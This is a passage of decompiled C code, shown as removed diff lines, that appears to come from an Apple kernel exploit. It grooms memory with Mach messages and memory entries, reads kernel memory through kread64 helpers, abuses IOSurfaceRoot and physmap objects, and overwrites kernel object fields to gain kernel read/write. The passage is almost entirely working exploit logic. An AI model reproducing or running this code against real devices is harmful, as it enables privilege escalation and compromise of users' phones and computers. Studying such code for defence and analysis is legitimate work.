0x28026LL; - } - goto LABEL_36; - } - if ( v20 > 0x27120080CFFFFFLL || v20 >= 0x225C23801AF00ELL && *((int *)v3 + 0x50) < 0x2712 ) - { -LABEL_36: - theDict = (CFMutableDictionaryRef)(&stru_68 + 0x44); - v260 = 0xB8LL; - v25 = 0x58LL; - goto LABEL_40; - } - theDict = (CFMutableDictionaryRef)(&stru_68 + 0x3C); - v260 = 0xB0LL; - v25 = 0x50LL; -LABEL_40: - *(_QWORD *)v269 = v25; - arc4random_buf((void *)(v2 + 0x3510), 8uLL); - arc4random_buf((void *)(v2 + 0x3518), 8uLL); - v26 = *(_QWORD *)(v2 + 0x3488); - v8 = 0xAD001LL; - if ( !v26 ) - return v8; - v27 = *(_QWORD *)(v2 + 0x3490); - if ( !v27 ) - return 0xAD001LL; - madvise((void *)(v27 + v26 - vm_page_size), vm_page_size, 3); - if ( krw_ctx_has_flag(v3, 0x5184001) && !krw_ctx_has_flag(v3, 0x20) ) - { - v55 = 0LL; - v332 = 0u; - v333 = 0u; - v330 = 0u; - v331 = 0u; - v328 = 0u; - v329 = 0u; - v326 = 0u; - v327 = 0u; - v324 = 0u; - v325 = 0u; - v322 = 0u; - v323 = 0u; - v321 = 0u; - memset(outputStruct, 0, sizeof(outputStruct)); - while ( 1 ) - { - v56 = vm_map( - mach_task_self_, - (vm_address_t *)((char *)&outputStruct[0].msgh_bits + v55), - 0x2000000uLL, - 0x1FFFFFFuLL, - 0xC8000009, - 0, - 0LL, - 0, - 3, - 3, - 1u); - if ( v56 != 3 ) - { - v57 = v56; - if ( v56 ) - goto LABEL_110; - if ( madvise(*(void **)((char *)&outputStruct[0].msgh_bits + v55), vm_page_size, 3) ) - break; - } - v55 += 8LL; - if ( v55 == 0x100 ) - { - v57 = 0; - goto LABEL_110; - } - } - v57 = 5; -LABEL_110: - for ( k = 0LL; k != 0x100; k += 8LL ) - { - v59 = *(_QWORD *)((char *)&outputStruct[0].msgh_bits + k); - if ( v59 ) - { - vm_deallocate(mach_task_self_, v59, 0x2000000uLL); - *(_QWORD *)((char *)&outputStruct[0].msgh_bits + k) = 0LL; - } - } - if ( v57 ) - return v57 | 0x80000000; - } - v28 = 0LL; - v266 = 0LL; - v302 = 0LL; - v22 = 0x2B0LL; - while ( 1 ) - { - sub_1F190(); - if ( *(_DWORD *)v2 != 3 ) - { - v29 = 4; -LABEL_50: - v8 = v29 | 0x80000000; - goto LABEL_51; - } - v29 = sub_BED0((__int64)v3, v2, 0x10u, v2 + 0x2B0 * v28 + 0x10); - if ( v29 ) - goto LABEL_50; - sub_1F190(); - v292 = (int8x8_t *)(v2 + 0x2B0 * v28 + 0x10); - v30 = sub_FAE4((_QWORD *)v2, v292); - if ( !(_DWORD)v30 ) - break; - v8 = v30; -LABEL_51: - if ( ++v28 == 0x10 ) - goto LABEL_205; - } - v259 = v28; - sub_1F190(); - if ( !*(_DWORD *)(v2 + 0x3480) ) - { - sub_1F190(); -LABEL_100: - v8 = 0xAD00CLL; - goto LABEL_101; - } - v31 = 0LL; - v262 = *(_QWORD *)(v2 + 0x3478); - v264 = *(unsigned int *)(v2 + 0x34E8); - v257 = (mach_port_t *)(v2 + 4 * v28 + 0x34A8); - v32 = v2 + 0x2B0 * v28; - v279 = (unsigned int *)(v32 + 0x30); - v274 = -(int)v264; - v8 = 0xAD00CLL; - v33 = (_QWORD *)(v2 + 0x3518); - v290 = v32 + 0x28; - do - { - v318[0] = 0; - *(_QWORD *)&name.msgh_bits = vm_page_size; - if ( v31 && !((unsigned int)v31 % (unsigned int)v264) ) - { - v34 = *(_QWORD *)(v2 + 0x3498); - if ( (_DWORD)v264 ) - { - v35 = v274; - v36 = *(_DWORD **)(v2 + 0x3498); - v37 = v264; - do - { - *v36++ = *(_DWORD *)(v262 + 4LL * v35); - *(_DWORD *)(v262 + 4LL * v35++) = 0; - --v37; - } - while ( v37 ); - } - *(_QWORD *)&outputStruct[0].msgh_bits = 0x2C80001514LL; - v38 = *v257; - *(_OWORD *)&outputStruct[0].msgh_local_port = xmmword_42EC0; - *(_QWORD *)&outputStruct[1].msgh_size = v34; - outputStruct[1].msgh_voucher_port = v264; - outputStruct[0].msgh_remote_port = v38; - outputStruct[1].msgh_local_port = 0x2110000; - if ( mach_msg(outputStruct, 0x40011, 0x2Cu, 0, 0, 0, 0) ) - break; - } - v39 = v302 ? 0x4022003 : 0x4020003; - if ( mach_make_memory_entry( - mach_task_self_, - (vm_size_t *)&name.msgh_bits, - 0LL, - v39, - (mem_entry_name_port_t *)v318, - 0) ) - { - break; - } - value = v31; - *(_DWORD *)(v262 + 4LL * (_QWORD)v31) = v318[0]; - v40 = *v279; - if ( !*v279 ) - goto LABEL_92; - v41 = 0LL; - v43 = (int8x8_t *)v290; - v42 = v292; - v44 = *(int8x8_t *)v290; - while ( 1 ) - { - v45 = 1LL << v41; - if ( ((1LL << v41) & *(_QWORD *)&v44) != 0 ) - goto LABEL_89; - v46 = (_QWORD *)(*(_QWORD *)v42 + vm_page_size * v41); - if ( *v46 == *v33 ) - goto LABEL_89; - if ( vm_page_size ) - break; -LABEL_88: - *(_QWORD *)&v44 |= v45; - *v43 = v44; - v8 = 0xAD011LL; -LABEL_89: - if ( ++v41 >= (unsigned __int64)v40 ) - goto LABEL_93; - } - v47 = 0LL; - v48 = 0; - v49 = theDict; - while ( 1 ) - { - v50 = (char *)v46 + v47; - v51 = *(_DWORD *)((char *)v46 + v47 + 0x28); - if ( v51 > 0x80 ) - { -LABEL_87: - v44 = *v43; - v33 = (_QWORD *)(v2 + 0x3518); - v40 = *v279; - goto LABEL_88; - } - if ( *(_DWORD *)v50 && *(_DWORD *)v50 == *((_DWORD *)v50 + 1) ) - { - v52 = *((unsigned __int8 *)v49 + (_QWORD)v50) != 0x80 && v51 == 1; - if ( v52 && *((_QWORD *)v50 + 3) == *(_QWORD *)&name.msgh_bits ) - break; - } -LABEL_86: - v48 += *(_DWORD *)(v2 + 0x34EC); - v47 = v48; - if ( vm_page_size <= v48 ) - goto LABEL_87; - } - if ( v302 ) - { - v266 = *(_QWORD *)&v50[*(_QWORD *)v269]; - if ( validate_addr((__int64)v3, v266) ) - { - v8 = 0LL; - *(_QWORD *)v290 |= 1LL << v41; - break; - } - goto LABEL_85; - } - v53 = *(_QWORD *)&v50[v260]; - if ( !validate_addr((__int64)v3, v53) ) - { - v302 = 0LL; - v49 = theDict; -LABEL_85: - v43 = (int8x8_t *)v290; - v42 = v292; - v45 = 1LL << v41; - goto LABEL_86; - } - *(_DWORD *)(v262 + 4LL * (_QWORD)value) = 0; - *(_DWORD *)(v2 + 0x34F0) = v318[0]; - *(_QWORD *)(v2 + 0x34F8) = v53 - v260; - v40 = *v279; - v8 = 0xAD011LL; - v302 = v50; - v33 = (_QWORD *)(v2 + 0x3518); -LABEL_92: - v43 = (int8x8_t *)v290; -LABEL_93: - v54 = (uint8x8_t)vcnt_s8(*v43); - v54.i16[0] = vaddlv_u8(v54); - if ( v40 == v54.i32[0] ) - break; - v31 = (char *)value + 1; - ++v274; - } - while ( (unsigned __int64)value + 1 < *(unsigned int *)(v2 + 0x3480) ); - sub_1F190(); - if ( (_DWORD)v8 == 0xAD00C ) - goto LABEL_100; - if ( (_DWORD)v8 == 0xAD011 ) - { -LABEL_101: - v28 = v259; - v22 = 0x2B0LL; - goto LABEL_51; - } - *(_QWORD *)(v2 + 0x2C10) = v266; - if ( !validate_addr((__int64)v3, v266) ) - return 0x28026LL; - v60 = (unsigned int)v259; - while ( 2 ) - { - v61 = (int8x8_t *)(v2 + 0x2B0 * v60); - v63 = v61[2]; - v62 = v61 + 2; - if ( !*(_QWORD *)&v63 || !*(_QWORD *)(v2 + 0x2B0 * v60 + 0x18) ) - { - sub_1F190(); - if ( *(_DWORD *)v2 == 3 ) - { - v68 = sub_BED0((__int64)v3, v2, 0x10u, (__int64)v62); - if ( !v68 ) - { - sub_1F190(); - v69 = sub_FAE4((_QWORD *)v2, v62); - if ( !(_DWORD)v69 ) - { - sub_1F190(); - v65 = *(_DWORD *)(v2 + 0x2B0 * v60 + 0x30); - goto LABEL_134; - } - v8 = v69; -LABEL_128: - v67 = 0x29; - goto LABEL_129; - } - } - else - { - v68 = 4; - } - v8 = v68 | 0x80000000; - goto LABEL_128; - } - v64 = (int8x8_t *)(v2 + 0x2B0 * v60); - v65 = v64[6].u32[0]; - v66 = (uint8x8_t)vcnt_s8(v64[5]); - v66.i16[0] = vaddlv_u8(v66); - if ( v65 == v66.i32[0] ) - { - v67 = 0x29; - v8 = 0xAD011LL; - goto LABEL_129; - } -LABEL_134: - if ( v65 <= 0x40 ) - { - if ( *((_QWORD *)v3 + 0x2B) >> 0x2B < 0x44BuLL ) - v70 = 0; - else - v70 = *((_DWORD *)v3 + 0x60) % 0x50u; - v280 = *(_QWORD *)(v2 + 0x2C28) + *(_QWORD *)(v2 + 0x2C20); - theDicta = *(CFMutableDictionaryRef *)(v2 + 0x2C20); - v71 = vm_page_shift; - v290 = v2 + 0x2B0 * v60 + 0x30; - __handle = (int8x8_t *)(v2 + 0x2B0 * v60 + 0x28); - LODWORD(v72) = *(_DWORD *)(v2 + 0x3040); - do - { - if ( (unsigned int)v72 > 0xFF ) - { -LABEL_195: - v8 = 0xAD00CLL; - goto LABEL_196; - } - v73 = (unsigned int)v72 + 0xC11LL; - while ( *(_DWORD *)(v2 + 4 * v73) >= 0x400u ) - { - if ( (_DWORD)++v73 == 0xD11 ) - goto LABEL_195; - } - v74 = v73 - 0xC11; - *(_DWORD *)(v2 + 0x3040) = v74; - *(_QWORD *)&outputStruct[0].msgh_bits = 0x2C80000014LL; - v75 = *(_DWORD *)(v2 + 0x2C20 + 4LL * v74 + 0x20); - *(_OWORD *)&outputStruct[0].msgh_local_port = xmmword_42EC0; - outputStruct[1].msgh_voucher_port = *(_QWORD *)(v2 + 0x2C28); - *(_QWORD *)&outputStruct[1].msgh_size = *(_QWORD *)(v2 + 0x2C20); - outputStruct[0].msgh_remote_port = v75; - outputStruct[1].msgh_local_port = 0x1000100; - v76 = mach_msg(outputStruct, 0x40011, 0x2Cu, 0, 0, 0, 0); - if ( v76 ) - { - v8 = v76 | 0x80000000; - goto LABEL_196; - } - v72 = *(unsigned int *)(v2 + 0x3040); - ++*(_DWORD *)(v2 + 4 * v72 + 0x3044); - v77 = *(unsigned int *)v290; - if ( (_DWORD)v77 ) - { - v78 = 0LL; - v79 = (vm_size_t)theDicta + 4 * vm_page_size; - v80 = v280 - 4 * vm_page_size; - v81 = *__handle; - do - { - v82 = 1LL << v78; - if ( ((1LL << v78) & *(_QWORD *)&v81) == 0 ) - { - v83 = (_QWORD *)(*(_QWORD *)v62 + (unsigned int)((_DWORD)v78 << v71)); - if ( *v83 != *(_QWORD *)(v2 + 0x3518) ) - { - v84 = *((_DWORD *)v3 + 0x60); - if ( v70 < v84 ) - { - for ( m = v70; m < v84; m += 0x50 ) - { - v86 = (_QWORD *)((char *)v83 + m); - v87 = *v86; - if ( (unsigned __int64)(*v86 - 1) < 0xFFFEFFFFFFFFFFFFLL ) - break; - if ( (v86[8] & 0xFFF) == 0xCC ) - { - v88 = v86[2]; - if ( v88 > v79 && v86[3] <= v80 ) - { - v89 = (char *)v83 + (*((_QWORD *)v3 + 0x31) & v87); - if ( *((_QWORD *)v89 + 3) == v88 ) - { - *(_QWORD *)(v2 + 0x3460) = v87; - *(_QWORD *)(v2 + 0x3450) = *((_QWORD *)v89 + 1); - *(_QWORD *)(v2 + 0x3448) = v86; - *(_QWORD *)(v2 + 0x3458) = v89; - *__handle = (int8x8_t)(v82 | *(_QWORD *)&v81); - v92 = sub_FD18((_DWORD *)v2, (__int64)v62); - if ( (_DWORD)v92 ) - { - v8 = v92; - goto LABEL_196; - } - v281 = *(unsigned int *)(v2 + 0x3040); - if ( (v281 & 0x80000000) != 0 ) - { -LABEL_184: - v96 = 0; -LABEL_188: - v100 = 1; - } - else - { - theDictb = *(CFMutableDictionaryRef *)(v2 + 0x3448); - while ( 1 ) - { - v93 = v2 + 4 * v281; - if ( *(_DWORD *)(v93 + 0x3044) ) - break; -LABEL_182: - v224 = v281-- <= 0; - if ( v224 ) - goto LABEL_184; - } - __handlea = (_DWORD *)(v93 + 0x3044); - v290 = v93 + 0x2C40; - while ( 1 ) - { - v94 = *(_DWORD *)v290; - LODWORD(v321) = 0; - memset(outputStruct, 0, sizeof(outputStruct)); - v95 = mach_msg(outputStruct, 2, 0, 0x34u, v94, 0, 0); - if ( v95 ) - { - v96 = v95 | 0x80000000; - goto LABEL_188; - } - v96 = 0x2802D; - if ( (outputStruct[0].msgh_bits & 0x80000000) == 0 ) - goto LABEL_187; - if ( outputStruct[1].msgh_bits != 1 ) - goto LABEL_187; - v96 = 0x2802E; - if ( HIBYTE(outputStruct[1].msgh_local_port) != 1 ) - goto LABEL_187; - v97 = *(_QWORD *)&outputStruct[1].msgh_size; - if ( !*(_QWORD *)&outputStruct[1].msgh_size ) - goto LABEL_187; - msgh_voucher_port = outputStruct[1].msgh_voucher_port; - if ( !outputStruct[1].msgh_voucher_port ) - { - v96 = 0x2802E; -LABEL_187: - mach_msg_destroy(outputStruct); - goto LABEL_188; - } - *(_QWORD *)&outputStruct[1].msgh_size = 0LL; - outputStruct[1].msgh_voucher_port = 0; - mach_msg_destroy(outputStruct); - v99 = *((_QWORD *)theDictb + 2); - --*__handlea; - if ( v99 >= v97 && v99 < msgh_voucher_port + v97 ) - break; - vm_deallocate(mach_task_self_, v97, msgh_voucher_port); - if ( !*__handlea ) - goto LABEL_182; - } - v100 = 0; - v96 = 0; - *(_QWORD *)(v2 + 0x2C30) = v97; - *(_QWORD *)(v2 + 0x2C38) = msgh_voucher_port; - } - if ( ((unsigned __int8)v100 & (v96 == 0)) != 0 ) - v8 = 0xAD011LL; - else - v8 = v96; - if ( (_DWORD)v8 != 0xAD011 ) - { - if ( !(_DWORD)v8 ) - *(_QWORD *)(v2 + 0x2C18) = v302; - goto LABEL_196; - } - goto LABEL_128; - } - } - } - } - } - *(_QWORD *)&v81 |= v82; - *__handle = v81; - } - } - ++v78; - } - while ( v78 != v77 ); - } - else - { - v81 = *__handle; - } - v90 = (uint8x8_t)vcnt_s8(v81); - v90.i16[0] = vaddlv_u8(v90); - } - while ( (_DWORD)v77 != v90.i32[0] ); - v91 = sub_FD18((_DWORD *)v2, (__int64)v62); - if ( v91 ) - v67 = 0x28; - else - v67 = 0x29; - if ( v91 ) - v8 = v91; - else - v8 = 0xAD011LL; -LABEL_129: - if ( v67 == 0x28 ) - goto LABEL_196; - v255 = v60++ >= 0xF; - if ( v255 ) - goto LABEL_196; - continue; - } - break; - } - v8 = 0xAD001LL; -LABEL_196: - v101 = *(_DWORD *)(v2 + 0x3480); - if ( v101 ) - { - v102 = 0LL; - v103 = *(_QWORD *)(v2 + 0x3478); - do - { - v104 = *(_DWORD *)(v103 + 4 * v102); - if ( v104 + 1 >= 2 ) - { - mach_port_deallocate(mach_task_self_, v104); - v103 = *(_QWORD *)(v2 + 0x3478); - *(_DWORD *)(v103 + 4 * v102) = 0; - v101 = *(_DWORD *)(v2 + 0x3480); - } - ++v102; - } - while ( v102 < v101 ); - } - v105 = 0LL; - v22 = v2 + 0x34A8; - do - { - v106 = *(_DWORD *)(v22 + v105); - if ( v106 + 1 >= 2 ) - { - mach_port_mod_refs(mach_task_self_, v106, 1u, 0xFFFFFFFF); - *(_DWORD *)(v22 + v105) = 0; - } - v105 += 4LL; - } - while ( v105 != 0x40 ); -LABEL_205: - if ( (_DWORD)v8 ) - return v8; - *((_QWORD *)v3 + 0xA) = v2; - *((_QWORD *)v3 + 6) = kreadbuf_again; - v24 = *(_QWORD *)(v2 + 0x2C10); -LABEL_207: - v303 = 0x2800F; - v8 = 0x28026LL; - if ( !validate_addr((__int64)v3, v24) ) - return v8; - v107 = sub_32D80((__int64)v3, v24); - if ( !v107 ) - return v8; - *((_QWORD *)v3 + 0x34) = v107; - v108 = mach_host_self(); - v109 = sub_32D6C((__int64)v3, v108); - if ( !v109 ) - return 0x2800ELL; - *((_QWORD *)v3 + 0x35) = v109; - v110 = 0x18LL; - if ( *((int *)v3 + 0x50) <= 0x2257 ) - v111 = 0x18LL; - else - v111 = 0x10LL; - if ( *((int *)v3 + 0x50) <= 0x2257 ) - v112 = 0x68LL; - else - v112 = 0x60LL; - if ( *((int *)v3 + 0x50) <= 0x2257 ) - v110 = 0x10LL; - v293 = v110; - v113 = sub_33304((__int64)v3, v24); - if ( !v113 ) - return 0x28026; - if ( !kread64(v3, v111 + v113, (__int64 *)outputStruct) ) - return v303; - v114 = *(_QWORD *)&outputStruct[0].msgh_bits; - if ( !*(_QWORD *)&outputStruct[0].msgh_bits ) - return 0xAD011; - LODWORD(v8) = 0xAD011; - while ( 1 ) - { - if ( !validate_addr((__int64)v3, v114) ) - goto LABEL_246; - if ( !kread32_outptr((__int64)v3, *(_QWORD *)&outputStruct[0].msgh_bits + v112, v318) ) - goto LABEL_245; - if ( v318[0] ) - { - v115 = *(_QWORD *)&outputStruct[0].msgh_bits; - goto LABEL_228; - } - if ( !kread64(v3, *(_QWORD *)&outputStruct[0].msgh_bits + v111, (__int64 *)&name) ) - goto LABEL_245; - v115 = *(_QWORD *)&outputStruct[0].msgh_bits; - if ( *(_QWORD *)&outputStruct[0].msgh_bits == *(_QWORD *)&name.msgh_bits ) - break; -LABEL_228: - v116 = kread64(v3, v115 + v111, (__int64 *)outputStruct); - if ( v116 ) - v8 = (unsigned int)v8; - else - v8 = 0x2800FLL; - if ( v116 ) - { - v114 = *(_QWORD *)&outputStruct[0].msgh_bits; - if ( *(_QWORD *)&outputStruct[0].msgh_bits ) - continue; - } - goto LABEL_247; - } - if ( !kread64(v3, *(_QWORD *)&outputStruct[0].msgh_bits + v293, (__int64 *)&name) ) - goto LABEL_245; - if ( !validate_addr((__int64)v3, *(__int64 *)&name.msgh_bits) ) - goto LABEL_246; - if ( *((int *)v3 + 0x50) < 0x2258 ) - { -LABEL_244: - v8 = 0LL; - v22 = *(_QWORD *)&name.msgh_bits; - goto LABEL_247; - } - if ( kread64(v3, *(_QWORD *)&name.msgh_bits + 8LL, (__int64 *)&name) ) - { - if ( validate_addr((__int64)v3, *(__int64 *)&name.msgh_bits) ) - goto LABEL_244; -LABEL_246: - v8 = 0x28026LL; - } - else - { -LABEL_245: - v8 = 0x2800FLL; - } -LABEL_247: - if ( (_DWORD)v8 ) - return v8; - *((_QWORD *)v3 + 0x33B) = v22; - v8 = sub_211F4((__int64)v3, 0LL, *((_QWORD *)v3 + 0x35), (unsigned __int64 *)v3 + 0x33A); - if ( (_DWORD)v8 ) - return v8; - v8 = sub_39A24((__int64)v3, 0LL); - if ( (_DWORD)v8 ) - return v8; - v118 = *((_QWORD *)v3 + 0x2B); - if ( v118 > 0x27120F04B00002LL ) - { - if ( (*(_BYTE *)v3 & 0x20) != 0 ) - { - v8 = sub_A99C((__int64)v3); - if ( (_DWORD)v8 ) - return v8; - v8 = sub_27808((__int64)v3, 0); - if ( (_DWORD)v8 ) - return v8; - *((_QWORD *)v3 + 6) = 0LL; - v8 = sub_288D4((__int64)v3); - if ( (_DWORD)v8 ) - return v8; - v119 = (char *)v3 + 0x40; - goto LABEL_256; - } - goto LABEL_372; - } - if ( v118 > 0x225C1E804FFFFFLL - || v118 >= 0x225C1980500000LL && ((*(_DWORD *)v3 & 0x5584001) == 0 || (*(_DWORD *)v3 & 1) != 0) ) - { -LABEL_372: - theMagicPhysmapObjectPtr[0] = 0; - v172 = vm_page_size; - *(_QWORD *)&outputStruct[0].msgh_bits = vm_page_size; - *(_QWORD *)&name.msgh_bits = 0LL; - memory_entry = mach_make_memory_entry( - mach_task_self_, - (vm_size_t *)&outputStruct[0].msgh_bits, - 0LL, - 0x20003, - theMagicPhysmapObjectPtr, - 0); - if ( !memory_entry ) - { - objAddr = port_name_to_kaddr((__int64)v3, theMagicPhysmapObjectPtr[0]); - v8 = 0x28026LL; - if ( !objAddr ) - return v8; - objAddr_ = objAddr; - kobject_maybe = get_kobject_maybe((__int64)v3, objAddr); - if ( !kobject_maybe ) - return v8; - v176 = kobject_maybe; - v177 = sub_33A88((__int64)v3, objAddr_, 0); - v8 = 0x28026LL; - if ( !v177 ) - return v8; - v178 = v177; - __handlec = get_kobject_maybe((__int64)v3, v177); - if ( !__handlec ) - return v8; - v8 = sub_FE30(v2); - if ( (_DWORD)v8 ) - return v8; - v8 = sub_FF10((__int64)v3, *(_QWORD *)(v2 + 0x2C18), __handlec & ~*((_QWORD *)v3 + 0x31), v318); - if ( (_DWORD)v8 ) - return v8; - memory_entry = vm_map( - mach_task_self_, - (vm_address_t *)&name.msgh_bits, - v172, - 0LL, - 1, - *(_DWORD *)(v2 + 0x34F0), - 0LL, - 0, - 3, - 3, - 2u); - if ( !memory_entry ) - { - v179 = (*((_QWORD *)v3 + 0x31) & v178) + *(_QWORD *)&name.msgh_bits; - v8 = 0x28035LL; - if ( *(_DWORD *)v179 != *(_DWORD *)(v179 + 4) ) - return v8; - if ( *(_QWORD *)(v179 + 0x18) != *(_QWORD *)&outputStruct[0].msgh_bits ) - return v8; - v8 = sub_FF10((__int64)v3, v179, 0LL, 0LL); - if ( (_DWORD)v8 ) - return v8; - *(_QWORD *)(v179 + 0x18) = 0xFFFFFFFFFFFFFFFFLL; - memory_entry = vm_deallocate(mach_task_self_, *(vm_address_t *)&name.msgh_bits, v172); - if ( !memory_entry ) - { - v8 = sub_FF10((__int64)v3, *(_QWORD *)(v2 + 0x2C18), v176 & ~*((_QWORD *)v3 + 0x31), 0LL); - if ( (_DWORD)v8 ) - return v8; - memory_entry = vm_map( - mach_task_self_, - (vm_address_t *)&name.msgh_bits, - v172, - 0LL, - 1, - *(_DWORD *)(v2 + 0x34F0), - 0LL, - 0, - 3, - 3, - 2u); - if ( !memory_entry ) - { - v180 = *(_QWORD *)&name.msgh_bits; - v181 = (*((_QWORD *)v3 + 0x31) & objAddr_) + *(_QWORD *)&name.msgh_bits; - if ( *(_QWORD *)(v181 + 0x20) != *(_QWORD *)&outputStruct[0].msgh_bits ) - return 0x28011LL; - *(_QWORD *)(v181 + 0x20) = 0xFFFFFFFFFFFFFFFFLL; - memory_entry = vm_deallocate(mach_task_self_, v180, v172); - if ( !memory_entry ) - { - *((_DWORD *)v3 + 0x16) = theMagicPhysmapObjectPtr[0]; - v8 = sub_27808((__int64)v3, 0); - if ( (_DWORD)v8 ) - return v8; - *((_QWORD *)v3 + 0xA) = 0LL; - *((_QWORD *)v3 + 6) = 0LL; - v8 = sub_288D4((__int64)v3); - if ( (_DWORD)v8 ) - return v8; - goto LABEL_257; - } - } - } - } - } - return memory_entry | 0x80000000; - } - v314 = 0LL; - v310 = 0LL; - v182 = 0x120LL; - if ( *((int *)v3 + 0x50) > 0x2257 ) - v182 = 0x108LL; - theDictd = (CFMutableDictionaryRef)v182; - v183 = 0x118LL; - if ( *((int *)v3 + 0x50) > 0x2257 ) - v183 = 0x100LL; - v278 = vm_page_size; - v283 = v183; - *(_OWORD *)v318 = 0u; - v319 = 0u; - v184 = (unsigned int)sub_24D64("IOSurfaceRoot"); - v8 = 0x2800ELL; - if ( v184 + 1 < 2 ) - return v8; - v185 = v184; - if ( IOServiceOpen(v184, mach_task_self_, 0, (io_connect_t *)v318) || (v295 = sub_32D6C((__int64)v3, v318[0])) == 0 ) - { - v186 = 0; - v295 = 0LL; - v276 = 0; - } - else - { - v213 = 0LL; - while ( 1 ) - { - v290 = sub_328A4((__int64)v3, v295); - if ( !v290 ) - { - v186 = 0; - v290 = 0LL; - v276 = 0; - v8 = 0x28025LL; - goto LABEL_402; - } - if ( *((unsigned int *)v3 + 0x60) - (*((_QWORD *)v3 + 0x31) & (unsigned __int64)v290) >= 0x200 ) - { - v8 = 0LL; - v186 = v318[v213]; - v276 = 1; - goto LABEL_402; - } - if ( v213 == 7 ) - { - v186 = 0; - v276 = 0; - v8 = 0xAD011LL; - goto LABEL_402; - } - if ( IOServiceOpen(v185, mach_task_self_, 0, (io_connect_t *)&v318[v213 + 1]) ) - break; - v214 = sub_32D6C((__int64)v3, v318[++v213]); - v295 = v214; - if ( !v214 ) - { - v186 = 0; - v295 = 0LL; - goto LABEL_482; - } - } - v186 = 0; -LABEL_482: - v276 = 0; - } - v8 = 0x2800ELL; -LABEL_402: - for ( n = 0LL; n != 8; ++n ) - { - v188 = v318[n]; - if ( v188 + 1 >= 2 && v188 != v186 ) - { - IOServiceClose(v188); - v318[n] = 0; - } - } - IOObjectRelease(v185); - if ( !v276 ) - return v8; - v271 = (__int64)theDictd + v290; - v268 = v290 + v283; - v190 = 7; - while ( 2 ) - { - v277 = v190; - outputStructCnt = 0xF60LL; - __handled = dlopen("/System/Library/Frameworks/IOSurface.framework/IOSurface", 1); - if ( !__handled ) - return 0x1B001LL; - v191 = (const void **)dlsym(__handled, "kIOSurfaceIsGlobal"); - if ( !v191 ) - goto LABEL_485; - v192 = *v191; - if ( !*v191 ) - goto LABEL_485; - v193 = (const void **)dlsym(__handled, "kIOSurfaceWidth"); - if ( !v193 ) - goto LABEL_485; - v194 = *v193; - if ( !*v193 ) - goto LABEL_485; - v195 = (const void **)dlsym(__handled, "kIOSurfaceHeight"); - if ( !v195 ) - goto LABEL_485; - v196 = *v195; - if ( !*v195 ) - goto LABEL_485; - theDicte = CFDictionaryCreateMutable(0LL, 0LL, &kCFTypeDictionaryKeyCallBacks, &kCFTypeDictionaryValueCallBacks); - if ( !theDicte ) - { - v4 = 0xAD009LL; -LABEL_485: - dlclose(__handled); - return v4; - } - CFDictionarySetValue(theDicte, v192, kCFBooleanFalse); - sub_101AC(theDicte, v194); - sub_101AC(theDicte, v196); - v197 = IOCFSerialize(theDicte, 1uLL); - if ( v197 ) - { - v198 = v197; - v199 = *((_DWORD *)v3 + 0x50); - if ( v199 >= 0x2258 ) - { - outputStructCnt = 0xA68LL; - goto LABEL_427; - } - if ( v199 < 0x1F53 ) - { - v201 = 0LL; - v200 = 0; - } - else - { -LABEL_427: - *(_QWORD *)theMagicPhysmapObjectPtr = 0LL; - v200 = 1; - v201 = theMagicPhysmapObjectPtr; - } - BytePtr = CFDataGetBytePtr(v197); - Length = CFDataGetLength(v198); - if ( IOConnectCallMethod( - v186, - 0, - (const uint64_t *)v201, - v200, - BytePtr, - Length, - 0LL, - 0LL, - outputStruct, - &outputStructCnt) ) - { - v8 = 0x1001LL; - } - else - { - v204 = v283; - if ( outputStruct[1].msgh_bits < 0x10000 ) - v204 = outputStruct[1].msgh_bits; - LODWORD(v283) = v204; - if ( outputStruct[1].msgh_bits >= 0x10000 ) - v8 = 0x28011LL; - else - v8 = 0LL; - } - CFRelease(v198); - } - else - { - v8 = 0xAD009LL; - } - CFRelease(theDicte); - dlclose(__handled); - if ( (_DWORD)v8 ) - return v8; - if ( !(unsigned int)kreadbuf_last_1((__int64)v3, v271, 8LL, (__int64)&v311) ) - return 0x2800FLL; - if ( v311 <= (unsigned int)v283 ) - return 0x28011LL; - if ( !kread64(v3, v268, &v315) ) - return 0x2800FLL; - if ( !validate_addr((__int64)v3, v315) ) - return 0x28026LL; - if ( !kread64(v3, v315 + (unsigned int)(8 * v283), &v314) ) - return 0x2800FLL; - if ( !validate_addr((__int64)v3, v314) ) - return 0x28026LL; - if ( !kread64(v3, v314 + 0x40, &v313) ) - return 0x2800FLL; - if ( !validate_addr((__int64)v3, v313) ) - return 0x28026LL; - v205 = *((_QWORD *)v3 + 0x31); - v206 = v205 & v313; - if ( *((unsigned int *)v3 + 0x60) - (v205 & (unsigned __int64)v313) <= 0x4FF ) - { - v190 = v277 - 1; - if ( v277 ) - continue; - } - break; - } - sub_2183C((__int64)v3, v313 & ~v205, (__int64)&name); - v8 = 0x28026LL; - if ( !v207 ) - return v8; - __handlee = v309; - v208 = *((_QWORD *)v3 + 0x31); - sub_2183C((__int64)v3, v290 & ~v208, (__int64)&name); - if ( !v209 ) - return v8; - v210 = v309; - v8 = sub_FE30(v2); - if ( (_DWORD)v8 ) - return v8; - v8 = sub_1003C( - (__int64)v3, - *(_QWORD *)(v2 + 0x2C18), - *(_QWORD *)(v2 + 0x34F8), - 0, - *(_QWORD *)(v2 + 0x2C18) + 0xC0LL, - *(_QWORD *)(v2 + 0x34F8) + 0xC0LL, - v210 & 0xFFFFFFFFC000LL); - if ( (_DWORD)v8 ) - return v8; - memory_entry = vm_map(mach_task_self_, &v310, v278, 0LL, 1, *(_DWORD *)(v2 + 0x34F0), 0LL, 0, 3, 3, 2u); - if ( memory_entry ) - return memory_entry | 0x80000000; - v211 = v310 + (v208 & v290); - v8 = 0x28011LL; - if ( *(_QWORD *)(v211 + 0x58) || *(_BYTE *)(v211 + 0x99) ) - return v8; - if ( !validate_addr((__int64)v3, *(_QWORD *)(v211 + 0x88)) ) - return 0x28026LL; - *(_QWORD *)(v211 + 0x88) = v290 + 0x50; - *(_BYTE *)(v211 + 0x99) = 0x40; - memory_entry = vm_deallocate(mach_task_self_, v310, v278); - if ( memory_entry ) - return memory_entry | 0x80000000; - v8 = sub_1003C( - (__int64)v3, - *(_QWORD *)(v2 + 0x2C18), - *(_QWORD *)(v2 + 0x34F8), - 1, - *(_QWORD *)(v2 + 0x2C18) + 0xC0LL, - *(_QWORD *)(v2 + 0x34F8) + 0xC0LL, - __handlee & 0xFFFFFFFFC000LL); - if ( (_DWORD)v8 ) - return v8; - memory_entry = vm_map(mach_task_self_, &v310, v278, 0LL, 1, *(_DWORD *)(v2 + 0x34F0), 0LL, 0, 3, 3, 2u); - if ( memory_entry ) - return memory_entry | 0x80000000; - *((_DWORD *)v3 + 0x3A) = v186; - v212 = v310; - *((_QWORD *)v3 + 0x1E) = v313; - 